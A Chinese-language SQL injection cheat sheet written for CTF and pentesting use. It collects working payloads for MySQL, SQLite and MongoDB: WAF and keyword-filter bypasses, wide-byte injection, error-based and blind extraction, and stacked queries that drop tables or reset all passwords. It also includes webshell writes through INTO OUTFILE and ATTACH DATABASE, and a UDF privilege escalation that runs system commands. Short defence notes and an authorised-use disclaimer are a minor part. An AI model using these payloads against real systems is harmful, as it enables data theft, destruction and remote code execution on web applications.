前言

SQL 注入是一类古老但至今仍然常见的高危漏洞。随着防御手段的不断升级,注入技巧也在持续演进——关键字被过滤、空格被拦截、报错回显被关闭,各种 WAF 层层设卡。本文从实战角度出发,系统性地整理了 SQL 注入中常见的绕过技巧注入手段以及无回显场景的利用方法,覆盖 MySQL 与 SQLite,持续更新。


一、输出过滤绕过

服务端对查询结果做了字符替换(如把数字替换为空),可以通过嵌套 replace() 将敏感内容还原。

1
2
3
4
5
select * from user where username='0' union select
replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(
password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),
'a'
from ctfshow_user4--+'

思路:先用 replace 把数字替换成字母,输出后在客户端手动还原即可得到原始数据。


二、输入过滤绕过

遇到输入过滤,优先尝试大小写绕过,不行再换下面的招式。

2.1 注释符被 ban

方法 示例
URL 编码 %23(即 #
行内注释 --+--%20
空白字符 --%09%01 ~ %09 逐个试)
截断 ;%00 截断后续 SQL

2.2 空格被 ban

1
2
3
4
5
6
7
8
9
10
11
# 方法一:注释替换
select/**/password/**/from/**/user

# 方法二:空白字符编码(Tab、换行、换页符)
%09 %0a %0c

# 方法三:括号
select(password)from(user)

# 方法四:反引号(部分场景可用)
select`password`from`user`

2.3 等号被 ban

like 绕过:

1
select count(pass) from user where pass like 'flag{%';

% 相当于 shell 中的 *,可放前面。若引号也被 ban,用十六进制:

1
2
select count(pass) from user where pass like (0x63746673686f777b25);
-- 0x63746673686f777b25 = ctfshow{%

regexp / rlike 绕过(两者用法相同):

1
select * from user where password regexp '^flag';

2.4 where 被 ban

having 替代。having 必须在 group by 之后、order by 之前:

1
2
3
SELECT COUNT(password) FROM user GROUP BY password HAVING password REGEXP '^fl';
SELECT COUNT(password) FROM user GROUP BY password HAVING password RLIKE '^fl';
SELECT COUNT(password) FROM user GROUP BY password HAVING password RLIKE(0x63746673686f777b25);

2.5 数字被 ban

用布尔运算构造数字:true = 1true+true = 2,以此类推。

1
2
select count(password) from user group by pass having pass
regexp(concat(char(true+true+true+true+true+true+true+true+true+true+true+true+true+true), ...))

2.6 特殊 MD5:ffifdyop

原始明文 ffifdyop,经 MD5 哈希后的十六进制字符串以 'or' 开头(276f7227...),在弱类型比较时可用于绕过登录验证。

1
select * from admin where password=''or'6<...>';

2.7 ascii 被 ban

  • 优先换 **ord()**,功能等价。
  • ord 也 ban 了 → 直接字符比较(如 substr(flag,1,1) > 'a')。

2.8 substr 被 ban

换 **left()right()mid()**。

1
2
3
left(flag,1)    -- 等价于 substr(flag,1,1)
right(flag,1) -- 末尾一个字符
mid(flag,1,1) -- 等价于 substr

2.9 or / information 被 ban

不能查 information_schema 时,改用以下系统表:

替代表 说明
mysql.innodb_table_stats InnoDB 统计信息表,含库名和表名
sys.schema_table_statistics_with_buffer sys 库下的表统计
sys.x$schema_table_statistics_with_buffer 同上,无格式化版本
sys.x$schema_flattened_keys 扁平化键信息

2.10 sleep 被 ban

方法一:benchmark 延时

1
benchmark(3000000, md5('lyz_dsy'))

方法二:concat + rpad 构造正则灾难回溯(ReDoS)

1
2
concat(rpad(1,999999,'a'), rpad(1,999999,'a'), rpad(1,999999,'a'), ...)
regexp concat(repeat('(a.*)+', 6), 'b')

方法三:笛卡尔积大表延时

1
select count(*) from information_schema.columns A, information_schema.columns B;

2.11 无列名查列

方法一:子查询别名

1
2
3
4
5
-- 用数字占位列名
(select group_concat(`2`) from (select 1,2,3 union select * from flag23a1) as a)

-- 或者手动起别名
(select group_concat(myon) from (select 1,2 as myon,3 union select * from flag23a1) as a)

方法二:逐字节比较法

1
(select 1,"{}") > (select * from f1ag_1s_h3r3_hhhhh)

利用 MySQL 在比较不同列数的结果时逐列比对的行为,通过调整比较值逐字节泄露数据。

2.12 逗号被 ban

from ... for 语法代替 substr(str, start, len) 中的逗号:

1
select substr(database() from 1 for 1);

2.13 floor 被 ban

floor 报错注入被拦截时,换 round() 或 **ceil()**。

2.14 内联注释 — 终极绕过

MySQL 特性:/*!xxxxx*/ 内的内容在特定版本以上会被执行。可用于绕过一切关键字过滤:

1
select * from user /*!50000union*//*!50000select*/ 1,2,3;

注释内可填入任何被 ban 的关键字,WAF 大多不会递归解析注释内容。

2.15 with rollup 绕过

with rollupgroup by 分组统计后额外追加一条 NULL 汇总行。利用 NULL 与空字符串相等的特性,可在特定逻辑下绕过认证。

2.16 宽字节注入

原理: 当数据库编码为 GBK / GB2312 时,PHP 的 addslashes() 会在 ' 前面加反斜杠 \0x5c),形成 \'。但 GBK 编码中,第一个字节范围是 0x81-0xFE,第二个字节范围是 0x40-0xFE0x5c 刚好落在第二字节范围内,所以 %df + %5c 会被 MySQL 解析为一个合法的 GBK 汉字 ,反斜杠被”吃掉”,后面的单引号也就逃逸出来了。

1
2
输入: %df'     →  addslashes →  %df\'    →  GBK解析 →  運'  (闭合成功)
HEX: %df%27 → %df%5c%27 → %df%5c + %27

经典 payload:

1
2
3
4
5
6
7
8
-- 测试闭合
?name=1%df' or 1=1--+

-- 联合查询
?name=1%df' union select 1,2,database()--+

-- 跨表查字段(配合 char() 绕过引号过滤)
?id=1%df' union select 1,table_name from information_schema.tables where table_schema=char(99,116,102,115,104,111,119)--+

哪些字节能吃掉 \

0x5c 作为 GBK 第二字节的前提是第一个字节在 0x81-0xFE 之间。常用 %df,但 %81 ~ %fe 中任意一个都行,WAF 未必全封。

PHP 代码层面的成因:

1
2
3
4
// 危险写法
mysql_query("SET NAMES 'gbk'"); // 告知 MySQL 客户端编码为 GBK
$name = addslashes($_GET['name']); // 仅在 ' " \ NUL 前加 \,不感知编码
mysql_query("SELECT * FROM users WHERE name='$name'");

修复方案:

1
2
3
4
5
6
7
8
// 方法一:用 mysql_set_charset() 代替 SET NAMES
mysql_set_charset('gbk'); // 告诉 MySQL 客户端接收的字符集,会对输入做合适编码

// 方法二:用 PDO + 关闭模拟预编译
$pdo = new PDO('mysql:host=...;dbname=...;charset=utf8mb4', $user, $pass);
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

// 方法三:全站统一 UTF-8,从源头消灭 GBK

关键区别:SET NAMES 'gbk' 只告诉 MySQL “我给你的是 GBK 编码”,不做任何编码转换;mysql_set_charset('gbk') 会正确配置字符集转换层,更安全。


三、无回显利用

3.1 写 Shell

1
2
select * from user where username='-1' union select 1,2,"<?php eval($_POST[1]);?>"
into outfile '/var/www/html/1.txt'--+'

3.2 报错注入(Error-Based)

无回显但有报错信息时,用报错函数带出数据。

updatexml

1
2
3
select updatexml(1, concat(0x7e,
(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),
0x7e), 0)

extractvalue

1
2
3
extractvalue(1, concat(0x7e,
(select group_concat(column_name) from information_schema.columns
where table_schema='ctfshow_web' and table_name='ctfshow_flag')))

floor + group by 重复键报错:

1
2
3
4
5
6
7
select 1 from (
select count(*), concat(0x23, (database()), 0x23, floor(rand(0)*2)) as x
from information_schema.columns group by x
) as y

select 1, count(*), concat((select flag2 from ctfshow_flags), 0x7e, floor(rand(0)*2)) a
from ctfshow_user group by a

3.3 布尔盲注

无报错、无回显时,利用页面行为的差异逐字符猜解数据。

1
2
3
-- 二分法判断数据库名长度/内容
and length(database()) > 5
and substr(database(), 1, 1) > 'a'

配合 group by + having 辅助:

1
user group by pass having pass like 0x63746673686f777b25

3.4 时间盲注

连布尔差异都没有时,靠延时判断。MySQL 用 sleep / benchmark / rpad 正则,SQLite 用 randomblob + case...when(见 SQLite 章节)。


四、注入手段矩阵

4.1 联合查询注入(Union-Based)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
-- 基础模板
select * from user where username='0';

-- 直接查敏感数据
1' union select 1,2,password from admin--+

-- 写马
1' union select 1,2,"<?php eval($_POST[1]);?>" into outfile '/var/www/html/shell.php'

-- 读文件
1' union select 1,2,load_file('/flag')

-- 已知列名直接跑 flag
0' || username='flag

4.2 LIMIT 后报错注入

当注入点位于 LIMIT 子句时,可追加 PROCEDURE ANALYSE

1
2
3
-- $sql = select * from ctfshow_user limit ($page-1)*$limit, $limit;
-- payload:
?page=1&limit=1 PROCEDURE ANALYSE(extractvalue(1, concat(0x7e, database())), 1)

4.3 文件类型注入

利用文件名、文件内容等作为注入载体:

1
2
3
-- 文件名注入 → 写 shell
C64File"'); select 0x3c3f3d2060746163202f662a603f3e into outfile "/var/www/html/lyz.php";--+
-- 0x3c3f3d60245f4745545b315d603f3e = <?=`tac /f*`?>

4.4 堆叠注入(Stacked Queries)

数据库驱动支持多条语句时,威力最大。

改表 + 万能密码:

1
1; update user set username=1, password=2; #

删表重建:

1
2
3
1; drop table ctfshow_user;
create table ctfshow_user(username varchar(100), pass varchar(100));
insert ctfshow_user(username, pass) values(1, 1); #

rename 表结构配合万能密码:

1
2
3
1'; rename table words to words1;
rename table 1919810931114514 to words;
alter table words change flag id varchar(100); #

预处理语句(拼接绕过):

1
2
3
4
prepare myon from concat("sel","ect * from `ctfshow_flagasa`"); execute myon;
-- 或者十六进制编码整个语句
prepare myon from 0x73656c65637420666c61676173622066726f6d2063746673685f6f775f666c61676173;
execute myon;

HANDLER 读表(需已知表名):

1
1; handler ctfshow_flagasa open; handler ctfshow_flagasa read next;

4.5 UPDATE 注入

1
update ctfshow_user set pass = '{$password}' where username = '{$username}';
  • 正常闭合:$password 处闭合引号注入。
  • 转义逃逸: password=&username=,username=(注入语句)#,利用参数顺序逃逸。

4.6 INTO OUTFILE 文件注入

1
$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";

利用 INTO OUTFILE 的子句往文件写入 Webshell:

子句 作用
lines terminated by 每行尾部追加内容
lines starting by 每行头部追加内容
fields terminated by 字段间分隔符

可组合使用,且支持十六进制编码绕过:

1
2
-- 写 .user.ini 示例
filename=.user.ini' lines starting by ';' terminated by 0x0a6175746f5f70726570656e645f66696c653d6576616c2e706e670a#

技巧: 前后加换行符 0a,避免拼接错误。

4.7 GROUP 辅助注入

1
select count(*) from ".$_POST['tableName'].";

group by + having 可辅助布尔盲注:

1
user group by pass having pass like 0x63746673686f777b25

4.8 UDF 提权注入

适用场景:具备写文件权限且 MySQL 版本 > 5.1,需要将 UDF 动态链接库写入插件目录。

步骤:

  1. 查版本和插件目录:
1
2
3
0'; select version(); %23
0'; select @@plugin_dir; %23
-- 例:/usr/lib/mariadb/plugin/
  1. 分块写入 .so 文件(GET 请求有长度限制时拆分,这里是 64 位 lib_mysqludf_sys_64.so):
1
2
3
4
5
6
7
-- 第一块
0'; select '<hex_chunk_1>' into dumpfile '/usr/lib/mariadb/plugin/1.txt' %23

-- 验证
0'; select load_file('/usr/lib/mariadb/plugin/1.txt') %23

-- 第二块、第三块同理...
  1. 合并并写入最终 .so
1
2
3
4
5
0'; select unhex(concat(
load_file('/usr/lib/mariadb/plugin/1.txt'),
load_file('/usr/lib/mariadb/plugin/2.txt'),
load_file('/usr/lib/mariadb/plugin/3.txt')
)) into dumpfile '/usr/lib/mariadb/plugin/myon.so' %23
  1. 创建函数并执行系统命令:
1
2
0'; create function sys_eval returns string soname 'myon.so' %23
0'; select sys_eval('tac /f*') %23
MySQL 版本 导出路径
< 5.0 任意路径
5.0 ~ 5.1 系统目录(如 c:/windows/system32/
> 5.1 必须导出到 lib/plugin/ 目录下

所用 .so 文件通常来自 Metasploit 框架或 SQLMap 工具集。

4.9 二次注入(Second-Order SQL Injection)

原理: 攻击者将恶意 payload 存入数据库(第一步),此时经过 addslashes 或预编译后安全入库;但当这些数据在后续查询中被直接取出来拼接到另一条 SQL(第二步)时,不会再做转义,注入触发。

核心在于:数据入库时安全 ≠ 出库使用时安全

流程示意:

1
2
3
[用户输入] → addslashes 转义 → 存入 DB(原始 payload 被保留)

[后续查询] ← 从 DB 取出(未转义)← 拼接 SQL → 注入触发!

经典场景一:注册恶意用户名 → 修改密码

1
2
3
4
5
6
-- Step 1: 注册用户 admin'-- (单引号被转义后入库为 admin'--)
INSERT INTO users (username, password) VALUES ('admin\'--', '123456');

-- Step 2: 修改密码,从 DB 取出用户名拼接
UPDATE users SET password='newpass' WHERE username='admin'--'
-- 实际执行:WHERE username='admin'-- → 条件为空,全表密码被改

经典场景二:注册时插入恶意数据 → 登录后触发

1
2
3
4
5
-- Step 1: 注册用户时 name 填入
test' || (select group_concat(password) from admin) || '

-- Step 2: 登录后显示 "欢迎回来, test' || (select ...) || '"
-- 若拼到另一个查询中,payload 被执行

防御: 哪怕数据来自自己的数据库,拼接 SQL 前也必须参数化。别信任任何来源的字符串——包括从自己数据库取出来的。

4.10 表名/列名注入

当表名或列名动态拼接且不可预编译时(order byselect ... from $_GET['table']),可利用 INFORMATION_SCHEMA 盲注或报错注入。

1
2
3
4
5
6
7
-- 未过滤的 order by 列名
select * from user order by $_GET['col'];
-- payload: ?col=extractvalue(1,concat(0x7e,database()))

-- 未过滤的 table 名
select count(*) from $_POST['tableName'];
-- payload: tableName=user group by pass having pass like 0x...

五、SQLite 注入

5.1 核心差异

特性 MySQL SQLite
系统表 information_schema sqlite_master
字符串函数 mid, left, substr substr
条件分支 if(cond, a, b) case when ... then ... else ... end
延时函数 sleep(n) / benchmark randomblob(N)
注释符 #, -- , /**/ -- , /* */(无 #
语句分隔 默认不允许堆叠 允许 ; 分隔多条语句

5.2 sqlite_master 查表

1
2
3
4
5
6
7
8
9
-- 查所有表名
select tbl_name from sqlite_master where type='table';

-- 查建表 SQL(含列名)
select sql from sqlite_master where type='table';

-- 多表时用 limit / group_concat
select group_concat(sql) from sqlite_master;
select tbl_name from sqlite_master limit 2 offset 1;

5.3 联合查询

1
2
3
4
5
6
7
8
9
10
11
12
13
# 查字段数
-1' union select 1,2,3;
1' order by 3;

# 查版本
0' union select 1,2,sqlite_version();

# 查表名列名
-1' union select 1,2,(select sql from sqlite_master limit 0,1),4;
-1' union select 1,2,(select group_concat(sql) from sqlite_master),4;

# 查数据
-1' union select 1,2,(select group_concat(username,password) from users),4;

5.4 布尔盲注

1
2
3
4
5
6
7
-- 版本长度
-1' or length(sqlite_version())=5/*
-1' or length(sqlite_version())=6/*

-- 逐字猜解
-1' or substr((select group_concat(sql) from sqlite_master),1,1)>'a'/*
-1' or substr((select group_concat(sql) from sqlite_master),1,1)<'a'/*

5.5 时间盲注

1
2
3
-- randomblob(1e9) 制造明显延时
-1' or (case when(substr(sqlite_version(),1,1)='3')
then randomblob(1000000000) else 0 end)/*

5.6 写 Shell

SQLite 支持 ATTACH DATABASE 附加新数据库,可将 Webshell 写入 Web 目录:

1
2
3
'; ATTACH DATABASE '/var/www/html/shell.php' AS shell;
CREATE TABLE shell.exp (payload text);
INSERT INTO shell.exp (payload) VALUES ('<?php @eval($_POST["x"]); ?>'); --

六、其他信息泄露

6.1 information_schema.ROUTINES

存储过程和函数的源码可能包含敏感信息(如 flag、密钥):

1
2
3
4
5
6
7
-- 根据函数名查定义
select * from information_schema.routines
where routine_name='getFlag' and routine_type='function'--+

-- 模糊搜索函数体
1 union select 1, routine_definition from information_schema.routines
where routine_definition like '%scuctf%'

6.2 NoSQL 注入

NoSQL(以 MongoDB + PHP 最常见)不使用 SQL 语句,而是用 JSON 结构的查询表达式。注入主要分两类:操作符注入JavaScript 注入

6.2.1 背景:MongoDB 查询语法

PHP 后端常见的查询写法:

1
2
3
4
5
6
// 危险:直接拼用户输入到查询数组
$query = array("username" => $_GET['username'], "password" => $_GET['password']);
$cursor = $collection->find($query);

// 等价于 MongoDB 命令:
db.users.find({"username": "admin", "password": "123456"})

如果 $_GET['username']$_GET['password'] 不是字符串而是数组,PHP 会把它们原样传给 MongoDB 查询对象。

6.2.2 操作符注入(Operator Injection)

MongoDB 查询操作符以 $ 开头:$gt(大于)、$ne(不等于)、$regex(正则匹配)、$in(包含于)。

万能密码登录(PHP + MongoDB):

1
2
3
4
5
6
7
8
9
10
11
# 传数组而非字符串
POST /login.php
username[$ne]=1&password[$ne]=1

# PHP 拿到的是:
# $_POST['username'] = array('$ne' => '1')
# $_POST['password'] = array('$ne' => '1')

# 拼出来的 MongoDB 查询:
db.users.find({"username": {"$ne": "1"}, "password": {"$ne": "1"}})
# 语义:查找 username != '1' 且 password != '1' 的用户 → 返回第一条记录 = admin

$regex 盲注:

1
2
3
4
5
6
7
8
9
10
# 猜解用户名首字母
username[$regex]=^a&password[$ne]=1
username[$regex]=^b&password[$ne]=1
# 哪一次返回了数据,首字母就是那个字符

# 猜解密码
username=admin&password[$regex]=^flag{
username=admin&password[$regex]=^flag{a
username=admin&password[$regex]=^flag{b
# ... 逐位猜解

$gt 逐位爆破:

1
2
username=admin&password[$gt]=
# 空字符串比较 → 只要密码不为空就匹配,类似 SQL 的 1=1

6.2.3 JavaScript 注入($where

$where 允许执行 JavaScript 表达式作为查询条件,如果拼接用户输入,可导致任意 JS 代码执行。

1
2
3
// PHP 端
$query = array('$where' => "this.username == '$username'");
$cursor = $collection->find($query);
1
2
3
4
5
6
7
8
// 攻击 payload:
// ?username='; sleep(5000); '

// 拼成的 JS:
this.username == ''; sleep(5000); ''

// 时间盲注:
// ?username='; if (this.password[0]=='f') sleep(5000); '

$where 下的盲注模板:

1
2
3
4
5
6
7
8
// 布尔盲注
'; if (this.password.length > 10) return true; '

// 时间盲注
'; if (this.password[0]=='f') sleep(5000); '

// 报错盲注(通过 substring 越界触发异常判断长度)
'; if (this.password.length < 30) { throw 'a'; } '

6.2.4 MongoDB 注入防御

1
2
3
4
5
6
7
8
9
10
11
12
// 方法一:强制转换为字符串
$username = (string) $_GET['username'];
$password = (string) $_GET['password'];

// 方法二:白名单过滤操作符
unset($_GET['username']['$ne']);
// 或递归移除所有 $ 开头的键

// 方法三:使用 MongoDB 驱动内置的参数化(如 mongodb/mongo-php-library)
$cursor = $collection->find([
'username' => new MongoDB\BSON\Regex('^' . preg_quote($username)),
]);

6.2.5 其他 NoSQL 数据库

数据库 注入特征
Redis 无查询语言,主要利用 gopherdict 协议配合 SSRF 写 crontab / SSH key
CouchDB RESTful JSON API,注入点常在 _design 文档的 map/reduce 函数
Cassandra CQL 语法类似 SQL,同样存在拼接注入风险
Elasticsearch Query DSL 注入,利用脚本注入或特殊字符逃逸

总结

本文覆盖了 SQL 注入中的几大核心场景:

  1. 绕过技巧 — 从注释符到内联注释、宽字节注入等 16 种过滤绕过手法
  2. 无回显利用 — 写 shell / 报错注入 / 布尔盲注 / 时间盲注
  3. 注入手段 — 联合查询、堆叠、UPDATE、INTO OUTFILE、UDF 提权、二次注入、表名列名注入等
  4. SQLite 注入 — 从表结构探测到写 shell 的全链路
  5. NoSQL 注入 — MongoDB 操作符注入、$regex 盲注、$where JS 注入及防御
  6. 信息收集 — ROUTINES 表等常被忽略的敏感信息点

注入本质上是输入未正确参数化的问题。防御的最佳实践永远是预编译 + 白名单 + 最小权限。本文整理的手法主要用于 CTF / 授权渗透测试场景,请勿用于非法用途。

持续更新中,欢迎补充与指正。